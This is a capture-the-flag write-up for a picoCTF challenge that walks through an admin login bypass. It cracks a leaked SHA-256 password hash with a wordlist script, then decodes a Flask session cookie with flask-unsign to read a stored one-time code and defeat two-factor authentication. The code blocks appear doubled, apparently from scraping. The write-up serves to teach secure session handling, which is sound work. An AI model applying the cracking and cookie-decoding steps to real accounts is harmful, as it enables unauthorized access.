August 26, 2026
picoCTF Medium โ No FA Writeup
Challenge Overview

By p0nther
3 min read
Challenge Overview
We are given the source code (app.py) and a leaked SQLite database (users.db).
The application contains four endpoints:
/
/login
/two_fa
/logout/
/login
/two_fa
/logoutTo obtain the flag, we must authenticate as the admin user.
The first step is understanding how authentication works.
Enumerating the Database
Since a database dump is provided, let's inspect it:
sqlite3 users.dbsqlite3 users.dbList the tables:
.tables.tablesView the schema:
.schema users.schema usersOutput:
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
email TEXT NOT NULL,
password TEXT NOT NULL,
two_fa BOOLEAN NOT NULL DEFAULT 0
);CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
email TEXT NOT NULL,
password TEXT NOT NULL,
two_fa BOOLEAN NOT NULL DEFAULT 0
);Let's inspect the user records:
SELECT * FROM users;SELECT * FROM users;Among the results, one record immediately stands out:
5|admin|iamadmin@nfs.com|c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67|15|admin|iamadmin@nfs.com|c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67|1This tells us:
Username : admin
Email : iamadmin@nfs.com
Password : c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
2FA : EnabledUsername : admin
Email : iamadmin@nfs.com
Password : c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
2FA : EnabledThe password is stored as a SHA-256 hash.
Understanding the Login Logic
Reviewing the source code reveals the authentication check:
user = db.get_user_by_username(username)
if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:user = db.get_user_by_username(username)
if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:The application hashes our supplied password and compares it against the stored hash.
Therefore, we need to recover the plaintext password corresponding to:
c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67Cracking the Admin Password
We could use an online service such as CrackStation, but since this is a learning exercise, let's crack it ourselves.
Python Script
import hashlib
target_hash = "c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67"
with open("/usr/share/eaphammer/wordlists/rockyou.txt", "r", errors="ignore") as f:
for candidate in f:
word = candidate.strip()
if hashlib.sha256(word.encode()).hexdigest() == target_hash:
print(f"[+] Found match: {word}")
breakimport hashlib
target_hash = "c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67"
with open("/usr/share/eaphammer/wordlists/rockyou.txt", "r", errors="ignore") as f:
for candidate in f:
word = candidate.strip()
if hashlib.sha256(word.encode()).hexdigest() == target_hash:
print(f"[+] Found match: {word}")
breakRun the script:
python3 crack.pypython3 crack.pyOutput:
[+] Found match: apple@123[+] Found match: apple@123We now have valid administrator credentials:
Username: admin
Password: apple@123Username: admin
Password: apple@123The 2FA Roadblock
After logging in, the application redirects us to:
/two_fa/two_faThe page requests a verification code supposedly sent to the administrator's email.
At first glance, brute-forcing the OTP seems viable because it is only four digits:
otp = str(random.randint(1000, 9999))otp = str(random.randint(1000, 9999))This gives only:
9000 possible values9000 possible valuesI initially wrote a brute-force script.
However, after reviewing the source code more carefully, I noticed the OTP expires after two minutes:
if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:This means the OTP must be guessed before expiration.
While brute force may sound possible, there is a much easier path hidden in the code.
Source Code Review
The OTP generation logic is:
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'Later, verification is performed using:
stored_otp = session['otp_secret']
if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:stored_otp = session['otp_secret']
if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:The critical observation is that the OTP is stored inside the Flask session:
session['otp_secret'] = otpsession['otp_secret'] = otpAt this point, I started wondering:
Where is the Flask session stored?
Flask's default session mechanism stores data inside a signed client-side cookie.
That means sensitive values placed in the session may be visible to the user.
Inspecting the Session Cookie
After logging in as admin, I captured the session cookie:
session=.eJwty0sKgCAQANC7zFoirZzwMjHkJII_1FbR3XPR9sF7IGTn2IKBi0JjEJB7ORqflftAXFb1W_eRW6dYwEjcERXOuEybklorAXfjmijyOGSjT_B-LDgcKg.ao6M4Q.jLFgmJ3d7iCYu27M6oWNxUpZ4tksession=.eJwty0sKgCAQANC7zFoirZzwMjHkJII_1FbR3XPR9sF7IGTn2IKBi0JjEJB7ORqflftAXFb1W_eRW6dYwEjcERXOuEybklorAXfjmijyOGSjT_B-LDgcKg.ao6M4Q.jLFgmJ3d7iCYu27M6oWNxUpZ4tkThe cookie resembles a Flask session token.
Using flask-unsign, we can decode it:
flask-unsign --decode --cookie '.eJwty0sKgCAQANC7zFoirZzwMjHkJII_1FbR3XPR9sF7IGTn2IKBi0JjEJB7ORqflftAXFb1W_eRW6dYwEjcERXOuEybklorAXfjmijyOGSjT_B-LDgcKg.ao6M4Q.jLFgmJ3d7iCYu27M6oWNxUpZ4tk'flask-unsign --decode --cookie '.eJwty0sKgCAQANC7zFoirZzwMjHkJII_1FbR3XPR9sF7IGTn2IKBi0JjEJB7ORqflftAXFb1W_eRW6dYwEjcERXOuEybklorAXfjmijyOGSjT_B-LDgcKg.ao6M4Q.jLFgmJ3d7iCYu27M6oWNxUpZ4tk'Output:
{
'logged': 'false',
'otp_secret': '7342',
'otp_timestamp': 1787727073.521662,
'username': 'admin'
}{
'logged': 'false',
'otp_secret': '7342',
'otp_timestamp': 1787727073.521662,
'username': 'admin'
}๐ฅ There it is.
The application is literally storing the OTP inside the client-side session cookie:
'otp_secret': '7342''otp_secret': '7342'Bypassing 2FA
The verification logic simply compares our supplied OTP with the value stored in the session:
if stored_otp and otp == stored_otp:if stored_otp and otp == stored_otp:Since we already know the OTP, we can submit:
73427342The application accepts the OTP and sets:
session['logged'] = 'true'session['logged'] = 'true'Authentication is complete.
Getting the Flag
After successful OTP verification, visiting / triggers:
if session.get('username') == 'admin':
flag = os.getenv('FLAG')if session.get('username') == 'admin':
flag = os.getenv('FLAG')Since we are now authenticated as the administrator, the application displays the flag.
BOOOOOOOOOOOOOOOMMMMMMM!!!
FLAG OBTAINED ๐ฉBOOOOOOOOOOOOOOOMMMMMMM!!!
FLAG OBTAINED ๐ฉRoot Cause Analysis
The vulnerability exists because the OTP is stored in a client-accessible Flask session:
session['otp_secret'] = otpsession['otp_secret'] = otpThe developer assumed the session was private server-side storage.
In reality:
OTP
โ
Stored in Flask Session
โ
Serialized into Cookie
โ
User Decodes Cookie
โ
OTP Disclosure
โ
2FA BypassOTP
โ
Stored in Flask Session
โ
Serialized into Cookie
โ
User Decodes Cookie
โ
OTP Disclosure
โ
2FA BypassFlask session cookies provide integrity through signing, but they do not provide confidentiality.
Sensitive secrets such as OTPs should never be stored inside client-readable session data.
Key Takeaways
- Review authentication and session-management code carefully.
- Understand how your framework stores session data.
- Signed cookies are not encrypted cookies.
- Sensitive values such as OTPs should remain server-side.
- Source code review often reveals vulnerabilities faster than brute forcing.
Vulnerability
OTP Disclosure via Client-Side Session Storage
Impact
Authentication Bypass of the Administrator Account